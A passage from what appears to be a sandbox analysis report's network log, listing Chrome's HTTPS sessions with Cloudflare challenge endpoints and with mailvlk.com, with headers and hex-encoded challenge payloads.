6d 36 65 37 79 72 65 7a 73 Data Ascii: 1fdYmMBMG9D0JCjECDQ42Bh48BhtNQQdAUiknLhBTVhAZRjktKEgWIBwfMSRSYmVcVTgqQkxpS2poYywycjJLVXRvZmZveHp/bn9+c1CDgnV6h4Z6dnuNcFuOjmpPk5KEiWNSU4pWV2qXlnN3oZuemaWfhp2po4uhraeJpbGrjq2nhHJuqJWfd6yhs4yagKh/tLe6h6Ocjquwzp+tpJWkyZWZ0paqvse1tMDD3NDmr7i7uMnjw7um6e7yrezs
2024-04-24 13:43:13 UTC	1369	IN	Data Raw: 38 65 63 0d 0a 30 70 37 74 30 74 70 43 33 6c 37 52 2f 75 36 57 39 67 38 4b 47 76 49 61 34 71 6f 62 4b 77 63 4b 64 76 63 53 4b 6e 35 62 48 7a 35 43 52 33 4b 69 6e 6d 4b 36 2f 6e 62 53 76 6d 2b 44 54 35 36 44 69 76 4f 50 44 34 4b 76 6e 30 65 6d 76 37 72 4c 73 31 2b 44 57 35 4d 33 61 75 2f 65 36 33 66 62 31 36 76 76 76 2f 64 66 6c 33 2f 6f 44 42 38 6f 42 79 2b 72 75 45 4e 4c 79 37 78 50 6b 37 51 54 69 37 68 6e 6f 39 50 6e 6f 36 68 6a 59 49 42 55 64 2f 50 54 66 49 2b 41 73 35 69 59 6d 4a 43 6f 71 46 50 30 72 49 76 49 6b 4b 76 4d 4b 46 76 54 7a 45 68 59 65 4f 68 51 34 50 54 73 76 4f 43 59 37 42 67 6c 47 4f 67 77 75 4c 77 70 42 4b 54 41 2f 45 56 52 4d 45 56 73 30 58 54 59 5a 58 44 34 74 48 6c 74 58 50 55 49 33 57 32 51 6e 53 45 52 65 61 45 52 4f 50 69 31 30 5a Data Ascii: 8ec0p7t0tpC3l7R/u6W9g8KGvIa4qobKwcKdvcSKn5bHz5CR3KinmK6/nbSvm+DT56DivOPD4Kvn0emv7rLs1+DW5M3au/e63fb16vvv/dfl3/oDB8oBy+ruENLy7xPk7QTi7hno9Pno6hjYIBUd/PTfI+As5iYmJCoqFP0rIvIkKvMKFvTzEhYeOhQ4PTsvOCY7BglGOgwuLwpBKTA/EVRMEVs0XTYZXD4tHltXPUI3W2QnSEReaEROPi10Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.17	49766	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:13 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:14 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 13:43:14 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: PehAf2+eXIhA6FJdQcWymg==$YBRDyDK1+ac8J+OjigNAvg== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87968569bbc909ff-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:14 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49767	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:18 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32999 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 16306502cf695e3 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/hh0d3/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:18 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 36 38 35 34 35 39 63 36 32 36 39 65 33 3d 76 57 43 44 49 2d 54 73 62 41 7a 25 32 62 43 2d 6f 57 32 77 30 56 4f 5a 65 73 30 4f 54 53 55 69 55 65 43 2d 2b 55 46 56 44 43 6b 45 55 56 55 75 2d 55 30 5a 6a 4e 54 63 55 4d 44 56 7a 54 32 55 4b 54 44 6b 57 45 55 52 62 61 55 54 48 54 55 30 77 55 53 44 54 65 42 4e 47 2d 65 32 7a 55 77 44 30 4e 55 58 44 30 50 38 36 56 41 5a 30 77 4b 2b 46 56 36 54 76 46 69 68 33 56 55 6f 44 2d 66 6a 55 59 51 61 33 5a 4a 41 55 32 38 5a 55 32 61 6a 47 55 73 45 55 6e 55 55 68 33 55 4e 68 6b 47 33 58 72 55 71 53 45 44 54 76 5a 6a 41 6a 7a 44 55 36 7a 73 43 2d 5a 62 76 4e 58 30 69 77 69 71 61 6f 55 30 53 4e 55 54 38 38 55 31 54 46 48 55 30 56 64 62 33 58 73 24 69 52 2d 57 75 56 41 63 24 58 52 59 77 48 31 75 43 41 7a 6d 52 Data Ascii: v_879685459c6269e3=vWCDI-TsbAz%2bC-oW2w0VOZes0OTSUiUeC-+UFVDCkEUVUu-U0ZjNTcUMDVzT2UKTDkWEURbaUTHTU0wUSDTeBNG-e2zUwD0NUXD0P86VAZ0wK+FV6TvFih3VUoD-fjUYQa3ZJAU28ZU2ajGUsEUnUUh3UNhkG3XrUqSEDTvZjAjzDU6zsC-ZbvNX0iwiqaoU0SNUT88U1TFHU0Vdb3Xs$iR-WuVAc$XRYwH1uCAzmR
2024-04-24 13:43:18 UTC	16384	OUT	Data Raw: 55 67 24 35 45 37 42 32 59 4e 44 2d 6d 43 50 4e 56 55 32 34 51 6d 67 68 54 6c 55 5a 55 59 55 2d 5a 55 38 55 30 55 32 59 44 6f 64 2d 36 30 35 55 44 44 71 44 55 62 54 24 55 4f 44 71 62 55 31 55 53 44 4e 57 54 59 55 55 5a 54 56 5a 6b 55 32 5a 71 36 54 65 55 74 5a 2d 7a 55 4a 55 46 5a 65 38 55 62 55 71 73 71 45 55 4b 55 56 45 4e 77 54 79 55 53 41 4f 43 54 6f 44 71 45 65 68 55 31 33 47 35 33 2d 55 57 55 4c 5a 32 62 55 4d 55 4d 7a 54 2d 54 33 53 53 5a 4e 49 44 6a 45 33 38 54 41 58 6e 5a 4e 62 54 46 45 35 55 47 34 51 45 54 72 6d 48 5a 32 69 55 57 55 56 55 32 5a 54 73 55 54 43 54 7a 55 6d 55 4d 43 65 37 76 51 45 4d 5a 71 50 6f 69 55 6b 79 49 47 55 35 55 37 7a 71 56 55 41 55 6b 45 2d 57 54 2d 55 6d 44 55 24 54 30 55 76 43 54 7a 54 4a 55 4c 5a 71 4f 54 6e 5a 65 44 Data Ascii: Ug$5E7B2YND-mCPNVU24QmghTlUZUYU-ZU8U0U2YDod-605UDDqDUbT$UODqbU1USDNWTYUUZTVZkU2Zq6TeUtZ-zUJUFZe8UbUqsqEUKUVENwTyUSAOCToDqEehU13G53-UWULZ2bUMUMzT-T3SSZNIDjE38TAXnZNbTFE5UG4QETrmHZ2iUWUVU2ZTsUTCTzUmUMCe7vQEMZqPoiUkyIGU5U7zqVUAUkE-WT-UmDU$T0UvCTzTJULZqOTnZeD
2024-04-24 13:43:18 UTC	231	OUT	Data Raw: 34 61 78 39 6f 55 54 31 64 67 6c 53 2d 62 61 6c 6e 6e 43 2b 72 7a 30 4d 7a 31 44 41 44 46 6e 44 4a 55 78 55 65 42 75 55 4d 52 67 68 65 6f 35 6d 2d 6e 78 50 39 6e 62 45 52 63 36 4c 6c 55 6d 55 55 59 6f 72 6d 4c 73 4e 56 55 71 75 4f 30 46 24 72 77 6d 43 2b 57 59 39 53 32 45 61 63 41 4c 41 59 69 73 54 44 54 2d 76 50 33 58 64 47 39 44 55 34 79 73 55 51 4b 57 6f 77 45 55 37 34 4b 45 4e 54 39 6c 55 36 35 32 62 71 69 54 61 33 62 53 4e 68 44 78 4a 52 57 79 24 55 37 7a 71 4e 49 62 43 31 4f 48 36 49 52 55 5a 45 55 37 35 44 44 2b 71 41 61 52 2b 5a 71 73 65 4d 54 2d 47 78 61 4c 2d 55 50 58 38 4c 71 65 48 31 6f 77 4f 6f 49 2b 43 4f 68 59 54 65 2d 32 4b 67 57 30 58 4b 57 43 62 35 54 75 6f 44 55 55 Data Ascii: 4ax9oUT1dglS-balnnC+rz0Mz1DADFnDJUxUeBuUMRgheo5m-nxP9nbERc6LlUmUUYormLsNVUquO0F$rwmC+WY9S2EacALAYisTDT-vP3XdG9DU4ysUQKWowEU74KENT9lU652bqiTa3bSNhDxJRWy$U7zqNIbC1OH6IRUZEU75DD+qAaR+ZqseMT-GxaL-UPX8LqeH1owOoI+COhYTe-2KgW0XKWCb5TuoDUU
2024-04-24 13:43:18 UTC	1182	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: C2bTLAgJdfx2yyCTLG1roW4tpCrMkGgpf7ywtSnPwvZOdCEVl/0trDKacyBspwCnvmUgHTkZuh03ApOPqqirrXbHQIK+sBcyZ7sN08Z9FN2zjrCVG5QwCgdwy+tjctUC$aKbxi+zUH6ZgFo1FJ/pjcw== cf-chl-out-s: zQ2M44/+3KQ/mMrbrmp/TVTtYlV7/i5HU0CPL1ketO+bSGL+qLlkcBntLBbOvNLcFea/kIKMfFH/MWOFbpbxPX0j8GwuLEYeJllxfAw5ocdSAUkelqc7CkPQjLuR/1Ji6lH4dg84vfp/TxnEju3abfRwQniRRyR7buK4X5i7nHdNCg6k92Zp1mcJgq4ZxHqqj7k7TSwazJsGdvVX5flFKM/NmMznUrKOJNr32mRz866RLhFDO8tF5HVz/1E21wnyIhSmYV4hHbbL5y7te4s0g11yvgni4tpmuT5xNihk+gMJOA5OOfxi24zd6ZMkch2Fmu8j838w/sr26PkKsICgP1heOk/8y8XuCri5THcJsgdN2T9HdJxegq3R0DXxU2RwL0NMkq0X+AKxgW1Q28NZSm7L2ZdqQRz+5qS8DyNYRz6Eqy7u+FFXF7JJZEfrbFL4CCuVnS9sBxH0QWdJ2peI1r6chwV86ouZ036Uv4HK5/KiKs0L/GhNer/Fgda5+JBN/Fz11yeByPot/zmaSuKVm5KUuHGzeQpJi/JHw+WRioEs/FbaEqFtpsuzE8PtWqQbklsmdZRM/uTMm8+lJ+s6CpiWlzDB4I2tBo+wyvssyxNxt3dv2nijPhDxZG+aYCmWsKHFt/KhqnKT1znLFYAWFdCIrjFClIeUOreqDC8i6360F8p8NwEDV6zcCo3umLyMjNUTL+5bDH1GBwbkPzWS+A==$v9FkvX4fLhKWhEAgYB4VOQ== vary: accept-encoding Server: cloudflare CF-RAY: 87968583ffcb0add-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:18 UTC	187	IN	Data Raw: 64 62 30 0d 0a 6d 4a 71 79 76 4a 61 63 6e 36 4f 55 6a 35 65 7a 6d 71 69 6b 6c 72 71 5a 75 63 71 67 72 4d 6d 31 6f 4d 62 47 7a 4b 54 44 74 74 71 50 7a 4b 37 63 34 75 4c 42 30 4c 43 35 77 71 57 79 71 73 4c 43 74 71 37 47 32 71 71 36 34 4e 4f 78 7a 4d 48 6b 77 72 6a 57 2b 4c 72 36 2f 63 72 4c 2f 72 33 64 31 4d 4c 43 32 51 58 68 78 66 6e 48 2b 64 72 6e 79 50 37 65 31 4d 7a 6e 30 75 4d 56 38 65 59 4c 31 64 34 64 2b 64 6b 61 33 75 34 68 2f 4e 30 61 34 64 7a 36 48 65 54 75 2f 52 33 6e 38 41 2f 79 38 50 59 48 4a 77 49 51 39 52 37 30 4b 69 30 77 2f 42 51 43 39 6b Data Ascii: db0mJqyvJacn6OUj5ezmqiklrqZucqgrMm1oMbGzKTDttqPzK7c4uLB0LC5wqWyqsLCtq7G2qq64NOxzMHkwrjW+Lr6/crL/r3d1MLC2QXhxfnH+drnyP7e1Mzn0uMV8eYL1d4d+dka3u4h/N0a4dz6HeTu/R3n8A/y8PYHJwIQ9R70Ki0w/BQC9k
2024-04-24 13:43:18 UTC	1369	IN	Data Raw: 45 65 51 54 73 43 2f 43 4d 37 41 44 6f 66 51 67 30 54 4d 79 77 4e 4d 69 34 53 4a 54 4e 4b 54 6a 64 62 46 6d 49 55 4f 79 31 45 59 79 64 66 50 6a 55 6c 4b 55 55 74 57 6c 68 73 61 6a 35 4f 64 53 78 4b 59 48 68 32 5a 45 39 4c 66 32 68 68 64 47 34 2f 63 47 51 2f 63 6f 47 41 57 31 52 62 62 55 52 46 55 49 56 79 53 6d 42 7a 66 33 57 4a 69 32 2b 4d 65 47 2b 50 6c 59 6c 5a 59 4a 61 50 6e 6d 4a 78 64 4a 65 48 70 36 47 6b 6e 36 75 6c 6a 49 5a 78 6e 6f 71 41 66 34 53 58 68 36 2b 6c 64 4c 36 57 77 48 71 2b 76 4b 79 46 75 72 36 58 6e 72 4b 69 72 4b 47 45 71 34 69 76 70 70 47 2b 71 71 43 66 70 4c 65 6e 7a 38 57 55 33 72 62 67 6d 39 32 67 33 4f 48 69 75 64 2f 64 71 74 6e 74 72 63 6e 4d 32 4e 32 36 33 72 2f 57 73 4e 62 46 7a 4d 33 6b 39 37 65 39 7a 63 7a 36 2b 39 37 37 38 Data Ascii: EeQTsC/CM7ADofQg0TMywNMi4SJTNKTjdbFmIUOy1EYydfPjUlKUUtWlhsaj5OdSxKYHh2ZE9Lf2hhdG4/cGQ/coGAW1RbbURFUIVySmBzf3WJi2+MeG+PlYlZYJaPnmJxdJeHp6Gkn6uljIZxnoqAf4SXh6+ldL6WwHq+vKyFur6XnrKirKGEq4ivppG+qqCfpLenz8WU3rbgm92g3OHiud/dqtntrcnM2N263r/WsNbFzM3k97e9zcz6+9778
2024-04-24 13:43:18 UTC	1369	IN	Data Raw: 45 47 6c 41 51 4a 6c 4e 4f 49 41 77 76 4d 6b 59 77 4c 30 30 73 50 68 6f 71 48 78 73 30 4c 31 5a 5a 49 31 68 61 55 6a 77 31 4a 6d 4a 41 53 79 70 48 51 48 4a 70 61 7a 4d 70 4d 6e 45 34 56 48 46 34 4f 32 74 31 65 56 46 76 66 6d 35 45 59 48 35 70 52 6d 46 31 68 6b 70 59 69 59 4e 66 67 6f 6d 4b 56 49 4f 47 64 31 64 78 64 35 5a 74 69 36 47 55 63 47 79 65 68 6d 4a 39 68 4a 46 6d 67 5a 61 59 61 70 36 6c 6f 34 43 69 72 61 68 7a 6a 61 6d 73 64 36 65 59 70 6e 70 78 72 71 47 51 64 61 53 6c 67 35 6c 2b 78 63 4c 41 6d 59 65 6c 77 35 6d 74 30 71 72 55 6c 4c 4c 55 75 4b 79 51 7a 64 65 39 76 35 6a 41 34 75 47 37 6d 37 57 32 36 4d 50 6d 71 4b 4f 6d 35 4d 75 74 72 74 2b 71 78 2b 4c 44 72 75 44 68 73 73 53 78 75 4d 2f 63 7a 65 76 31 39 2f 48 54 33 62 2f 79 77 4d 44 6b 44 4d Data Ascii: EGlAQJlNOIAwvMkYwL00sPhoqHxs0L1ZZI1haUjw1JmJASypHQHJpazMpMnE4VHF4O2t1eVFvfm5EYH5pRmF1hkpYiYNfgomKVIOGd1dxd5Zti6GUcGyehmJ9hJFmgZaYap6lo4Cirahzjamsd6eYpnpxrqGQdaSlg5l+xcLAmYelw5mt0qrUlLLUuKyQzde9v5jA4uG7m7W26MPmqKOm5Mutrt+qx+LDruDhssSxuM/czev19/HT3b/ywMDkDM
2024-04-24 13:43:18 UTC	586	IN	Data Raw: 44 6b 38 71 49 30 4a 59 4b 30 70 5a 56 42 77 31 57 7a 41 37 54 78 77 7a 49 32 67 7a 51 6a 74 63 4c 45 41 36 53 53 73 78 4c 6e 52 45 56 6a 4a 51 53 44 5a 4c 55 57 70 56 55 33 39 79 58 6c 43 42 51 6e 6c 43 65 58 4e 65 57 47 46 2b 5a 47 64 71 53 46 35 50 61 47 43 57 55 32 4a 6f 63 33 43 61 69 33 4a 76 6b 5a 4a 63 62 61 52 6a 59 48 4f 6c 5a 34 53 44 68 4a 74 33 66 33 64 75 71 6f 6d 4f 63 36 43 46 6f 36 70 35 64 36 79 74 73 6f 79 62 6d 4d 42 2f 77 72 65 5a 66 61 4b 58 76 4a 69 55 75 71 71 62 6a 35 2f 49 6e 74 53 55 71 74 66 53 70 4a 43 7a 74 73 71 30 73 39 47 77 77 70 36 75 6f 35 2b 34 73 39 72 64 70 39 7a 65 31 73 43 35 71 75 62 45 7a 36 37 4c 78 50 62 74 37 37 65 74 74 76 57 38 32 50 58 38 76 2b 2f 35 2f 64 58 7a 41 2f 4c 49 35 41 50 74 79 75 58 35 43 38 37 Data Ascii: Dk8qI0JYK0pZVBw1WzA7TxwzI2gzQjtcLEA6SSsxLnREVjJQSDZLUWpVU39yXlCBQnlCeXNeWGF+ZGdqSF5PaGCWU2Joc3Cai3JvkZJcbaRjYHOlZ4SDhJt3f3duqomOc6CFo6p5d6ytsoybmMB/wreZfaKXvJiUuqqbj5/IntSUqtfSpJCztsq0s9Gwwp6uo5+4s9rdp9ze1sC5qubEz67LxPbt77ettvW82PX8v+/5/dXzA/LI5APtyuX5C87
2024-04-24 13:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49768	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:19 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/888799833:1713964597:_2LbCDHkv-P-tuM5wGyxvE8cQNjPu28uIC6w7PvfxTk/879685459c6269e3/16306502cf695e3 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:19 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 13:43:19 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: kc+OCth9ojSThBzqzdC6Bw==$S7yHAd/dunzdWvMY3nvAWw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8796858a398e0ad7-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:19 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49769	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:19 UTC	1045	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1894439682:1713964362:f3bhfDBv5QOakV6M8k-1UjyH98EctZInS5uS_6Qc31k/879685369a8a0fc1/fc4adc0f3b83a0b HTTP/1.1 Host: mailvlk.com Connection: keep-alive Content-Length: 3382 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: fc4adc0f3b83a0b sec-ch-ua-platform: "Windows" Accept: / Origin: https://mailvlk.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mailvlk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:19 UTC	3382	OUT	Data Raw: 76 5f 38 37 39 36 38 35 33 36 39 61 38 61 30 66 63 31 3d 50 44 39 66 54 6a 58 6d 38 6c 70 4a 39 6a 64 44 36 68 45 65 67 24 49 70 35 68 58 59 35 76 75 66 6c 39 35 7a 35 54 66 36 78 35 6d 7a 35 30 6a 35 45 24 66 58 76 35 34 66 49 38 45 36 35 4d 66 72 78 70 58 4f 36 33 63 70 66 35 4e 66 66 58 7a 35 6c 78 35 47 35 47 52 58 35 35 4f 35 35 37 47 35 61 66 35 2d 4b 35 36 6e 44 6e 6e 35 6d 55 73 50 2d 35 65 5a 6c 4c 35 72 66 49 67 35 5a 63 24 6a 41 70 35 39 38 35 31 35 52 75 4b 35 57 66 6b 70 35 74 55 37 34 35 58 64 35 2d 67 44 35 42 78 58 45 36 66 35 6e 35 49 74 77 2d 24 35 46 46 76 50 74 35 72 61 4d 58 6c 74 73 34 39 35 51 74 72 66 78 65 49 44 4c 33 76 70 44 48 67 61 4f 57 6f 33 67 52 66 58 51 42 73 52 39 66 72 44 65 33 24 35 56 49 50 68 35 65 73 72 35 74 5a 31 Data Ascii: v_879685369a8a0fc1=PD9fTjXm8lpJ9jdD6hEeg$Ip5hXY5vufl95z5Tf6x5mz50j5E$fXv54fI8E65MfrxpXO63cpf5NffXz5lx5G5GRX55O557G5af5-K56nDnn5mUsP-5eZlL5rfIg5Zc$jAp598515RuK5Wfkp5tU745Xd5-gD5BxXE6f5n5Itw-$5FFvPt5raMXlts495QtrfxeIDL3vpDHgaOWo3gRfXQBsR9frDe3$5VIPh5esr5tZ1
2024-04-24 13:43:19 UTC	1287	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: mSeW9Ef8fh8rz0B8xAoL6bozS7c/PFY3MHJ1AynQCf9J/2ZgruDvbxOKr9VetjZh/bDmX/IRRUGvzADmz/BYlA==$3hCBaf652egiY2Yu2xpfog== set-cookie: cf_chl_rc_m=;Expires=Tue, 23 Apr 2024 13:43:19 GMT;SameSite=Strict cf-chl-out-s: gpheW4CTZF+R/OwETw7VzqhEswGkk0G+yCXgR9XIUbCwO06HY/DnvHnfKNni1sLkpMPdGhiFvAdglvTHMUdO/1Qg75Yk++LFy5O2MXXGkKHmSYyl9Utr12ThtrU2wPlnYpy8qyay4wuzQlzZhaumB+Vsqr1mgzvdSoj/jvQWtaTWkDyuxGVjqKcrIleyThg2H5IrbCGML/oM5r3Q2u5GuYWEJGMbEF6HPAy181lSlSQD5k7taDMVFTuI/NanaFqFVMJ97srxMC4PivaOfv1pCbWZTo/7cJ7u+OglXPkcQOPFz5T8s1C83Q+R4ZZeZkr5DCMN153TDe2V8fSHWlhVQ49NukBXj189Bwv7ADu9HMY407m9CbN1RTPmfMF/U0wKiQv1QEx3rLcYSb8v8IabIUlxSbj+5wJRylDjvbNe0atqy1WKRNQa8pCodGuO1hdOF0aBT4KrMtdPMxRnOVORIw==$FMpGC/kI22JXqktz/IlsFw== vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ErmAij1LCxVFDjEZKZp4Df4JWPOBaAsMKhThELyX57rX8LUJWjLt8MpOf%2FDhrYe%2FXvsF6kLivyxMebgEQq3cNdRrYOHIAdjPXZuCMHe1lLzrxDVxDuy5gA8a7j5Duw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685893ac77c44-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:19 UTC	82	IN	Data Raw: 34 31 63 0d 0a 63 37 65 6d 69 58 6d 4e 67 62 57 6b 75 59 36 37 70 6e 71 32 75 38 5a 2b 72 73 75 75 72 74 43 62 76 4b 4c 55 30 72 57 31 6c 64 58 45 71 5a 65 35 76 4b 7a 4d 76 39 32 57 6d 39 37 68 6d 70 2f 67 70 37 2f 45 33 36 72 46 38 4f 50 41 7a Data Ascii: 41cc7emiXmNgbWkuY67pnq2u8Z+rsuurtCbvKLU0rW1ldXEqZe5vKzMv92Wm97hmp/gp7/E36rF8OPAz
2024-04-24 13:43:19 UTC	977	IN	Data Raw: 4e 2f 51 38 4d 72 50 39 2f 44 6b 32 2f 6e 31 39 77 44 7a 30 41 50 76 35 51 48 45 78 67 59 47 37 51 34 4b 41 66 6a 72 44 67 76 38 7a 67 63 4e 34 75 33 36 35 42 7a 37 48 68 62 79 36 78 34 61 48 53 62 39 49 50 6f 65 48 53 58 32 41 68 6a 34 4d 4f 4d 62 4c 68 30 51 49 6a 45 54 44 69 55 46 50 50 6f 70 4e 43 6b 4d 50 68 52 45 2f 42 59 58 51 52 78 4b 51 7a 55 46 51 42 39 50 50 45 42 4d 50 53 68 46 54 54 70 59 4c 54 49 55 54 53 30 35 47 31 6f 32 4e 56 56 48 4f 6d 4d 70 59 45 46 6a 5a 56 74 6c 51 6a 35 6f 52 6d 74 74 58 30 70 4e 4d 32 4e 62 64 32 34 35 55 56 74 39 61 33 68 38 55 33 5a 41 51 56 78 30 53 58 78 36 5a 34 43 43 69 59 35 63 69 31 42 6c 55 45 70 69 56 58 6c 4f 64 56 64 64 65 5a 52 34 58 4b 42 35 6f 35 61 48 68 61 56 6f 68 71 4b 43 70 58 32 49 70 47 71 45 Data Ascii: N/Q8MrP9/Dk2/n19wDz0APv5QHExgYG7Q4KAfjrDgv8zgcN4u365Bz7Hhby6x4aHSb9IPoeHSX2Ahj4MOMbLh0QIjETDiUFPPopNCkMPhRE/BYXQRxKQzUFQB9PPEBMPShFTTpYLTIUTS05G1o2NVVHOmMpYEFjZVtlQj5oRmttX0pNM2Nbd245UVt9a3h8U3ZAQVx0SXx6Z4CCiY5ci1BlUEpiVXlOdVddeZR4XKB5o5aHhaVohqKCpX2IpGqE
2024-04-24 13:43:19 UTC	1369	IN	Data Raw: 39 63 63 0d 0a 6a 64 53 6d 78 4a 4b 70 72 74 62 53 73 63 32 72 75 4e 72 4e 30 62 4c 66 74 38 66 6f 36 62 75 68 77 36 57 71 36 36 66 6e 30 71 76 4d 73 4d 32 2b 31 2b 44 43 34 72 62 4b 38 75 7a 48 33 4e 61 34 79 2f 4c 51 30 64 66 65 2f 66 6e 48 78 39 58 57 78 63 62 51 44 65 34 49 78 39 58 70 35 41 37 71 42 68 66 6d 37 78 37 75 39 68 45 61 35 4f 51 54 43 50 4c 2b 38 75 67 56 2f 42 73 78 2f 43 41 44 2f 51 30 74 43 6a 6b 46 4a 41 30 57 45 53 37 35 50 7a 49 31 45 55 4d 2f 4c 77 4d 69 50 7a 73 61 50 43 78 42 48 69 6b 4d 52 43 59 75 4a 56 4d 6e 57 46 64 56 4c 69 38 70 47 6b 78 64 4b 31 45 30 56 44 4d 7a 52 57 56 41 4e 32 64 4b 48 32 52 77 50 79 78 43 4d 43 39 64 61 32 56 41 5a 30 74 47 52 48 74 54 52 33 64 50 50 6a 6b 2b 54 58 56 39 52 56 5a 64 56 48 78 35 53 34 Data Ascii: 9ccjdSmxJKprtbSsc2ruNrN0bLft8fo6buhw6Wq66fn0qvMsM2+1+DC4rbK8uzH3Na4y/LQ0dfe/fnHx9XWxcbQDe4Ix9Xp5A7qBhfm7x7u9hEa5OQTCPL+8ugV/Bsx/CAD/Q0tCjkFJA0WES75PzI1EUM/LwMiPzsaPCxBHikMRCYuJVMnWFdVLi8pGkxdK1E0VDMzRWVAN2dKH2RwPyxCMC9da2VAZ0tGRHtTR3dPPjk+TXV9RVZdVHx5S4
